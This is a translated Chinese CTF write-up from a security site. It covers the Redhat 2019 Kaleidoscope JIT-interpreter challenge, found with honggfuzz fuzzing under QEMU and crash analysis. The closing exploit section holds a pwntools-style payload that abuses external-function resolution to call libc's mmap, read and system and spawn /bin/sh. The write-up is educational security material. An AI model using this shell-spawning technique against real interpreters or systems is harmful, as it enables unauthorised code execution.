Redhat2019CTF上利用 honggfuzz 和 QEMU 插桩完成题目的WriteUp - 嘶吼 RoarTalk – 网络安全行业综合服务平台,4hou.com

Redhat2019CTF上利用 honggfuzz 和 QEMU 插桩完成题目的WriteUp

h1apwn 技术 2020-01-07 10:02:00
901675
收藏

导语:逆向非常费时间,使用honggfuzz对发现的crash分析快速定位漏洞和考点,调试分析发现libLLVM获取函数名称并尝试从libc解析它。 大佬的方法学到了,记录一下学习过程。

0x01  分析

起初,由于缺少libary libLLVM-6.0.so.1,无法直接运行此二进制文件,用sudo apt-get install libllvm6.0解决依赖问题。题目会提供一个解释器界面:

 ready> a = 1
 ready> 1+1
 Error: Unknown variable name
 ready> a+1
 Evaluated to 2
 ready>

将二进制文件放到ida中,可以看到它是C ++编写的,并且设计人员在编译时打开了一些优化设置,因此反编译结果的确很难理解。这些符号告诉我们,这是一个JIT解释器,llvm项目教程介绍如何实现JIT解释器。可以在这里找到该教程:构建JIT:从KaleidoscopeJIT开始,以及llvm-kaleidoscope的源代码。

main 函数在源代码中:

 int main() {
  BinopPrecedence['print(errs(), nullptr);
  return 0;
 }

但在ida看来真的很糟糕:

 LLVMInitializeX86TargetInfo(*(_QWORD *)&argc, argv, envp);
 LLVMInitializeX86Target();
 LLVMInitializeX86TargetMC();
 LLVMInitializeX86AsmPrinter();
 LLVMInitializeX86AsmParser();
 __k[0] = '=';
 *std::map::operator[](&BinopPrecedence, __k) = 2;
 __k[0] = '<';
 *std::map::operator[](&BinopPrecedence, __k) = 10;
 __k[0] = '+';
 *std::map::operator[](&BinopPrecedence, __k) = 20;
 __k[0] = '-';
 *std::map::operator[](&BinopPrecedence, __k) = 20;
 __k[0] = '*';
 *std::map::operator[](&BinopPrecedence, __k) = 40;
 v3 = &stderr;
 fwrite("ready> ", 7uLL, 1uLL, stderr);
 ...

比较这两段代码,我们可以看到挑战定义=为BinopPrecedence,原始版本没有定义。尝试逆向代码,但很快决定更改另一种方法。

0x02 Fuzzing

所以我转向了Fuzzing,希望能发现一些漏洞。我尝试使用qemu模式的AFL运行此二进制文件,但它卡在了初始化中。

 matthew@matthew-MS-7A37 /m/d/L/Fuzz> afl-fuzz -i in/ -o out1/ -Q -- ./wang 
 afl-fuzz 2.52b by  [+] You have 8 CPU cores and 6 runnable tasks (utilization: 75%).
 [+] Try parallel jobs - see /usr/local/share/doc/afl/parallel_fuzzing.txt.
 [*] Checking CPU core loadout...
 [+] Found a free CPU core, binding to #0.
 [*] Checking core_pattern...
 [*] Setting up output directories...
 [+] Output directory exists but deemed OK to reuse.
 [*] Deleting old session data...
 [+] Output dir cleanup successful.
 [*] Scanning 'in/'...
 [+] No auto-generated dictionary tokens to reuse.
 [*] Creating hard links for all input files...
 [*] Validating target binary...
 [*] Attempting dry run with 'id:000000,orig:1.txt'...
 [*] Spinning up the fork server...
 [+] All right - fork server is up.
 ...(It just stop here)

然后,我尝试使用honggfuzz,这是另一种流行的模糊器支持二进制工具。最初,我从github克隆了源代码,但是编译失败。然后我在Doker hub上找到了一个docker镜像,但是它不支持qemu模式。我必须附加到容器并遵守qemu模式,不可避免地需要安装一些依赖项。我花了两个多小时才安装此工具。

运行此docker映像的命令是:

 docker run --rm -it -v (pwd):/work --privileged zjuchenyuan/honggfuzz:latest /bin/bash

可以在以下位置找到honggfuzz的用法:USAGE,对于我们需要的qemu模式,可以通过以下方式运行:

 honggfuzz -f /work/in/ -s -- ./qemu_mode/honggfuzz-qemu/x86_64-linux-user/qemu-x86_64 /work/kaleidoscope

放入了种子语料库/work/in,我只是从https://llvm.org/docs/tutorial/OCamlLangImpl1.html#the-basic-language中选择了代码片段:

 # Compute the x'th fibonacci number.
 def fib(x)
   if x < 3 then
     1
   else
     fib(x-1)+fib(x-2)
 
 # This expression will compute the 40th number.
 fib(40)

我在vmware中运行它,所以速度有点慢,但是它仍然在不到十分钟的时间内给我们带来了一些崩溃。

 Iterations : 5810 [5.81k]
  Mode [3/3] : Feedback Driven Mode
      Target : ./qemu_mode/honggfuzz-qemu/x86_6.....u-x86_64 /work/kaleidoscope
     Threads : 4, CPUs: 8, CPU%: 424% [53%/CPU]
       Speed : 0/sec [avg: 1]
     Crashes : 200 [unique: 0, blacklist: 0, verified: 0]
    Timeouts : 0 [10 sec]
 Corpus Size : 97, max: 8192 bytes, init: 2 files
  Cov Update : 0 days 00 hrs 01 mins 18 secs ago
    Coverage : edge: 3922/45011 [8%] pc: 1541 cmp: 135658

0x03  Crashes

honggfuzz在不到十分钟的时间内给了我们Crashes,我查看了Crashes,这似乎是一些堆破坏问题,但是stacktrace很难跟踪。

 ─────────────────────────────────[ REGISTERS ]──────────────────────────────────
  RAX  0x0
  RBX  0x7ffff399b840 (stderr) —▸ 0x7ffff399b680 (_IO_2_1_stderr_) ◂— 0xfbad2887
  RCX  0x7ffff35ede97 (raise+199) ◂— mov    rcx, qword ptr [rsp + 0x108]
  RDX  0x0
  RDI  0x2
  RSI  0x7fffffffd660 ◂— 0x0
  R8   0x0
  R9   0x7fffffffd660 ◂— 0x0
  R10  0x8
  R11  0x246
  R12  0x5555556030b0 —▸ 0x5555555d4fd0 —▸ 0x5555555d5040 ◂— 0x0
  R13  0x7ffff3ff9550 (std::bad_alloc::~bad_alloc()) ◂— mov    rax, qword ptr [rip + 0x3390f1]
  R14  0x55555569ec40 —▸ 0x5555555ef820 —▸ 0x5555555c70e0 —▸ 0x5555555f7700 —▸ 0x5555555f76c0 ◂— ...
  R15  0x55555569ec30 —▸ 0x55555569ec40 —▸ 0x5555555ef820 —▸ 0x5555555c70e0 —▸ 0x5555555f7700 ◂— ...
  RBP  0x7ffff40dbfe2 ◂— jae    0x7ffff40dc058 /* u'std::bad_alloc' */
  RSP  0x7fffffffd660 ◂— 0x0
  RIP  0x7ffff35ede97 (raise+199) ◂— mov    rcx, qword ptr [rsp + 0x108]
 ───────────────────────────────────[ DISASM ]───────────────────────────────────
  ► 0x7ffff35ede97     mov    rcx, qword ptr [rsp + 0x108]     0x7ffff35ede9f     xor    rcx, qword ptr fs:[0x28]
    0x7ffff35edea8     mov    eax, r8d
    0x7ffff35edeab     jne    raise+252      ↓
    0x7ffff35edecc     call   __stack_chk_fail   
    0x7ffff35eded1                nop    word ptr cs:[rax + rax]
    0x7ffff35ededb                nop    dword ptr [rax + rax]
    0x7ffff35edee0        test   edi, edi
    0x7ffff35edee2      js     killpg+16   
    0x7ffff35edee4      neg    edi
    0x7ffff35edee6      jmp    0x7ffff35ee180  ───────────────────────────────────[ STACK ]────────────────────────────────────
 00:0000│ rsi r9 rsp  0x7fffffffd660 ◂— 0x0
 01:0008│             0x7fffffffd668 —▸ 0x7ffff399b420 (main_arena+2016) —▸ 0x55555567aa60 ◂— 0x0
 02:0010│             0x7fffffffd670 ◂— 0x0
 ... ↓
 ─────────────────────────────────[ BACKTRACE ]──────────────────────────────────
  ► f 0     7ffff35ede97 raise+199
    f 1     7ffff35ef801 abort+321
    f 2     7ffff3fef242
    f 3     7ffff3ffae86
    f 4     7ffff3ffaed1
    f 5     7ffff3ffb105
    f 6     7ffff3feeee1
    f 7     55555555eb68
    f 8     55555555eb68
    f 9     55555555eb68
    f 10     55555555eb68
 pwndbg> bt
 #0  __GI_raise (sig=sig@entry=6) at ../sysdeps/unix/sysv/linux/raise.c:51
 #1  0x00007ffff35ef801 in __GI_abort () at abort.c:79
 #2  0x00007ffff3fef242 in ?? () from /usr/lib/x86_64-linux-gnu/libstdc++.so.6
 #3  0x00007ffff3ffae86 in ?? () from /usr/lib/x86_64-linux-gnu/libstdc++.so.6
 #4  0x00007ffff3ffaed1 in std::terminate() () from /usr/lib/x86_64-linux-gnu/libstdc++.so.6
 #5  0x00007ffff3ffb105 in __cxa_throw () from /usr/lib/x86_64-linux-gnu/libstdc++.so.6
 #6  0x00007ffff3feeee1 in ?? () from /usr/lib/x86_64-linux-gnu/libstdc++.so.6
 #7  0x000055555555eb68 in std::__cxx11::basic_string::_M_construct (this=, __beg=0x6 , __end=) at /usr/bin/../lib/gcc/x86_64-linux-gnu/7.4.0/../../../../include/c++/7.4.0/bits/basic_string.tcc:219
 #8  std::__cxx11::basic_string::_M_construct_aux (this=, __beg=0x6 , __end=) at /usr/bin/../lib/gcc/x86_64-linux-gnu/7.4.0/../../../../include/c++/7.4.0/bits/basic_string.h:236
 #9  std::__cxx11::basic_string::_M_construct (this=, __beg=0x6 , __end=) at /usr/bin/../lib/gcc/x86_64-linux-gnu/7.4.0/../../../../include/c++/7.4.0/bits/basic_string.h:255
 #10 std::__cxx11::basic_string::basic_string (this=, __str=...) at /usr/bin/../lib/gcc/x86_64-linux-gnu/7.4.0/../../../../include/c++/7.4.0/bits/basic_string.h:440
 #11 std::pair::pair(std::tuple&, std::tuple<>&, std::_Index_tuple, std::_Index_tuple<>) (this=0x55555569ec30, __tuple1=..., __tuple2=...) at /usr/bin/../lib/gcc/x86_64-linux-gnu/7.4.0/../../../../include/c++/7.4.0/tuple:1651
 #12 std::pair::pair(std::piecewise_construct_t, std::tuple, std::tuple<>) (this=0x55555569ec30, __first=..., __second=...) at /usr/bin/../lib/gcc/x86_64-linux-gnu/7.4.0/../../../../include/c++/7.4.0/tuple:1639
 #13 __gnu_cxx::new_allocator<std::_Rb_tree_node >::construct<std::pair, std::piecewise_construct_t const&, std::tuple, std::tuple<> >(std::pair*, std::piecewise_construct_t const&, std::tuple&&, std::tuple<>&&) (__p=0x55555569ec30, __args=..., this=, __args=..., __args=...) at /usr/bin/../lib/gcc/x86_64-linux-gnu/7.4.0/../../../../include/c++/7.4.0/ext/new_allocator.h:136
 #14 std::allocator_traits<std::allocator<std::_Rb_tree_node > >::construct<std::pair, std::piecewise_construct_t const&, std::tuple, std::tuple<> >(std::allocator<std::_Rb_tree_node >&, std::pair*, std::piecewise_construct_t const&, std::tuple&&, std::tuple<>&&) (__p=0x55555569ec30, __args=..., __a=..., __args=..., __args=...) at /usr/bin/../lib/gcc/x86_64-linux-gnu/7.4.0/../../../../include/c++/7.4.0/bits/alloc_traits.h:475
 #15 std::_Rb_tree<std::__cxx11::basic_string, std::pair, std::_Select1st, std::less, std::allocator >::_M_construct_node<std::piecewise_construct_t const&, std::tuple, std::tuple<> >(std::_Rb_tree_node*, std::piecewise_construct_t const&, std::tuple&&, std::tuple<>&&) (this=0x5555555694c8 , __node=0x55555569ec10, __args=..., __args=..., __args=...) at /usr/bin/../lib/gcc/x86_64-linux-gnu/7.4.0/../../../../include/c++/7.4.0/bits/stl_tree.h:626
 #16 std::_Rb_tree<std::__cxx11::basic_string, std::pair, std::_Select1st, std::less, std::allocator >::_M_create_node<std::piecewise_construct_t const&, std::tuple, std::tuple<> >(std::piecewise_construct_t const&, std::tuple&&, std::tuple<>&&) (this=0x5555555694c8 , __args=..., __args=..., __args=...) at /usr/bin/../lib/gcc/x86_64-linux-gnu/7.4.0/../../../../include/c++/7.4.0/bits/stl_tree.h:643
 #17 std::_Rb_tree<std::__cxx11::basic_string, std::pair, std::_Select1st, std::less, std::allocator >::_M_emplace_hint_unique<std::piecewise_construct_t const&, std::tuple, std::tuple<> >(std::_Rb_tree_const_iterator, std::piecewise_construct_t const&, std::tuple&&, std::tuple<>&&) (this=0x5555555694c8 , __pos={
   first = ,
   second = 0x0
 }, __args=..., __args=..., __args=...) at /usr/bin/../lib/gcc/x86_64-linux-gnu/7.4.0/../../../../include/c++/7.4.0/bits/stl_tree.h:2398
 #18 0x000055555555e97d in std::map<std::__cxx11::basic_string, llvm::AllocaInst*, std::less, std::allocator >::operator[] (this=, __k=...) at /usr/bin/../lib/gcc/x86_64-linux-gnu/7.4.0/../../../../include/c++/7.4.0/bits/stl_map.h:493
 #19 0x00005555555612dc in (anonymous namespace)::BinaryExprAST::codegen (this=0x555555689010) at toy.cpp:781
 #20 0x000055555555c6d9 in (anonymous namespace)::FunctionAST::codegen (this=0x555555638840) at toy.cpp:1085
 #21 0x000055555555a767 in HandleTopLevelExpression () at toy.cpp:1164
 #22 MainLoop () at toy.cpp:1209
 #23 main () at toy.cpp:1263
 #24 0x00007ffff35d0b97 in __libc_start_main (main=0x55555555a240 , argc=1, argv=0x7fffffffdee8, init=, fini=, rtld_fini=, stack_end=0x7fffffffded8) at ../csu/libc-start.c:310
 #25 0x0000555555559c4a in _start ()

过了一会发现了一些非常有趣的Crashes。模糊器报告这些输入导致Crashes,但是二进制文件在运行中根本没有崩溃。

 matthew@matthew-MS-7A37 ~/L/fuzz> cat c5
 def fib(x)
   if x < 3 then
    1
   else
  526142246948557=666
 
 fib(40)
 $IF8׆FA]V_13X9`Z^9_O2ر/#nϰ'ӟ]* O-w ff4QjW={%IT(<V['!]h_2
 ޒ*`-KyrCzʉB8Cl=}_F85&ЅNQ-O}/8
                              *ŋyG:~V$5917384075431139189gG      ^ggXX%KTY១R|    )"319Oqy`
                                                                                          {&!M?Z-Bz X
                                                                                                     >@YAyd(9kG9Dž޹0)dL&TBeDjח@3g3N,Okrvz8b[QRs        U,(     >m@.*ou3\w;߳^U
 C}5Ttrz7217830875066176221-+\I
                               f⏎
 matthew@matthew-MS-7A37 ~/L/fuzz> cat c5 | ./kaleidoscope 
 ready> ready> Error: Unknown variable name
 ready> LLVM ERROR: Program used external function 'fib' which could not be resolved!

尽管输出很有趣,但它说无法解析外部函数“ fib”。如果将二进制代码与原始源代码进行比较,可以看到源代码中有一个extern关键字。但是,题目中的处理程序已被禁用,如果尝试使用extern关键字,它将显示“无外部函数” 。

  {
         if ( CurTok != 0xFFFFFFFD )
           goto LABEL_30;
         fwrite("No extern function!!!\n", 0x16uLL, 1uLL, *v3);
         CurTok = gettok();
         CurTok = gettok();
 LABEL_18:
         CurTok = gettok();
       }

然后,我Program used external function 'fib' which could not be resolved!在此二进制文件中搜索字符串,但一无所获。但是,此LLVM ERROR消息由tag标记,是否表示该字符串位于llvm库?

 matthew@matthew-MS-7A37 ~/L/fuzz> strings /usr/lib/x86_64-linux-gnu/libLLVM-6.0.so.1 | grep "Program used external"
 Program used external function '

确实是这样!

0x04  Analysis

考虑此测试用例背后的逻辑,二进制文件已完成解析工作,并将函数名称传递给libLLVM,libLLVM获取函数名称并尝试从libc解析它。如果在llvm的源中搜索此信息,则可以看到它被RTDyldMemoryManager::getPointerToNamedFunction调用,请参阅https://github.com/llvm-mirror/llvm/blob/8b8f8d0ad8a1f837071ccb39fb96e44898350070/lib/ExecutionEngine/RuntimeDyld/RTDyldMemoryManager.cpp#L290

然后我想也许可以直接以相同的方式调用libc函数。我改变了fib对puts加载的二进制到GDB和读取输入。我还在处设置了一个断点puts,它确实停止了。

 LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
 ───────────────────────────────────────[ REGISTERS ]───────────────────────────────────────
  RAX  0x7ffff36899c0 (puts) ◂— push   r13
  RBX  0x7ffff7ff6000 ◂— push   rax
  RCX  0x3
  RDX  0x55555556a010 ◂— 0x605070607050307
  RDI  0x28
  RSI  0x55555556a018 ◂— 0x607050702070606
  R8   0x8
  R9   0x1
  R10  0x555555638568 —▸ 0x5555555d4f00 —▸ 0x5555555b99f0 ◂— 0x555500000000
  R11  0x88
  R12  0x7ffff39f5840 (stderr) —▸ 0x7ffff39f5680 (_IO_2_1_stderr_) ◂— 0xfbad2887
  R13  0x555555564eb8 ◂— jb     0x555555564f1f /* 'ready> ' */
  R14  0x7fffffffdd40 —▸ 0x7ffff7ff6000 ◂— push   rax
  R15  0x7fffffffddc0 ◂— 0x0
  RBP  0x7ffff39f5680 (_IO_2_1_stderr_) ◂— 0xfbad2887
  RSP  0x7fffffffdd08 —▸ 0x7ffff7ff6012 ◂— pop    rcx
  RIP  0x7ffff36899c0 (puts) ◂— push   r13
 ────────────────────────────────────────[ DISASM ]─────────────────────────────────────────
  ► 0x7ffff36899c0        push   r13
    0x7ffff36899c2      push   r12
    0x7ffff36899c4      mov    r12, rdi
    0x7ffff36899c7      push   rbp
    0x7ffff36899c8      push   rbx
    0x7ffff36899c9      sub    rsp, 8
    0x7ffff36899cd     call   *ABS*+0x9dc70@plt   
    0x7ffff36899d2     mov    rbp, qword ptr [rip + 0x36be6f]     0x7ffff36899d9     mov    rbx, rax
    0x7ffff36899dc     mov    eax, dword ptr [rbp]
    0x7ffff36899df     mov    rdi, rbp
 ─────────────────────────────────────────[ STACK ]─────────────────────────────────────────
 00:0000│ rsp  0x7fffffffdd08 —▸ 0x7ffff7ff6012 ◂— pop    rcx
 01:0008│      0x7fffffffdd10 ◂— 0x0
 02:0010│      0x7fffffffdd18 —▸ 0x55555555b0d4 (main+3732) ◂— mov    ecx, eax
 03:0018│      0x7fffffffdd20 —▸ 0x7fffffffdd30 ◂— '__anon_expr'
 04:0020│      0x7fffffffdd28 ◂— 0xb /* '\x0b' */
 05:0028│      0x7fffffffdd30 ◂— '__anon_expr'
 06:0030│      0x7fffffffdd38 ◂— 0x727078 /* 'xpr' */
 07:0038│ r14  0x7fffffffdd40 —▸ 0x7ffff7ff6000 ◂— push   rax
 ───────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────
  ► f 0     7ffff36899c0 puts
    f 1     7ffff7ff6012
    f 2                0
 ───────────────────────────────────────────────────────────────────────────────────────────
 Breakpoint puts
 pwndbg>

可以看到第一个参数$rdi是0x28=40,这意味着也可以控制该参数。

0x05  Exploit

借助方便的任意libc函数调用功能,获取shell应该非常简单。二进制文件受到PIE的保护,因此最初不知道任何地址信息。我的解决方案是mmap用来获取新的区域,0x100000并将read其加载/bin/sh到内存中。最后,可以调用system(0x100000)获取shell。

 payload = """
  def mmap(x y z o p)
   if x < 3 then
    1
   else
  a=666
   else
  0=666
   else
  b=666
   else
  0=666
   else
  c=666
 
 mmap(1048576, 4096, 7, 34, 0);
 """
 sla(">", payload)
 time.sleep(0.5)
 payload = """
 def read(x y z)
   if m < 3 then
    1
   else
  0=666
 
 def system(x)
   if m < 3 then
    1
   else
  0=666
 
 read(0, 1048576, 10);
 system(1048576);
 """
 sla(">", payload)
 sla(">", "/bin/sh\x00")
 p.interactive()

花了一些时间if-else根据参数的数量对语句进行调整,以使其能够被解释器接受,但是后来发现它是不必要的,任何带有if-else语句的函数定义都将被视为外部函数。

0x06  Wrapup

这是我第一次使用Fuzzing来解决CTF题目。这是一种很好的方法,它可以节省大量的逆向时间。在解释器pwn方面许多都与外部函数调用或外部函数接口(FFI)有关。因此,当遇到基于解释器的pwn题时,这种方法可能很有用。

0x07  参考文献

  1. https://llvm.org/docs/tutorial/BuildingAJIT1.html

  2. https://github.com/ghaiklor/llvm-kaleidoscope

  3. https://hub.docker.com/r/zjuchenyuan/honggfuzz

  4. https://github.com/google/honggfuzz/blob/master/docs/USAGE.md

  5. https://llvm.org/docs/tutorial/OCamlLangImpl1.html#the-basic-language

  6. http://blog.leanote.com/post/xp0int/%5BPWN%5D-ls-cpt.shao%E3%80%81MF

0x08  学习总结

逆向非常费时间,使用honggfuzz对发现的crash分析快速定位漏洞和考点,调试分析发现libLLVM获取函数名称并尝试从libc解析它。

大佬的方法学到了,记录一下学习过程。

本文翻译自:http://matshao.com/2019/11/11/Redhat2019-Kaleidoscope/如若转载,请注明原文地址:
  • 分享至
取消

感谢您的支持,我会继续努力的!

扫码支持

打开微信扫一扫后点击右上角即可分享哟

发表评论

 
本站4hou.com,所使用的字体和图片文字等素材部分来源于原作者或互联网共享平台。如使用任何字体和图片文字有侵犯其版权所有方的,嘶吼将配合联系原作者核实,并做出删除处理。
©2024 北京嘶吼文化传媒有限公司 京ICP备16063439号-1 本站由 提供云计算服务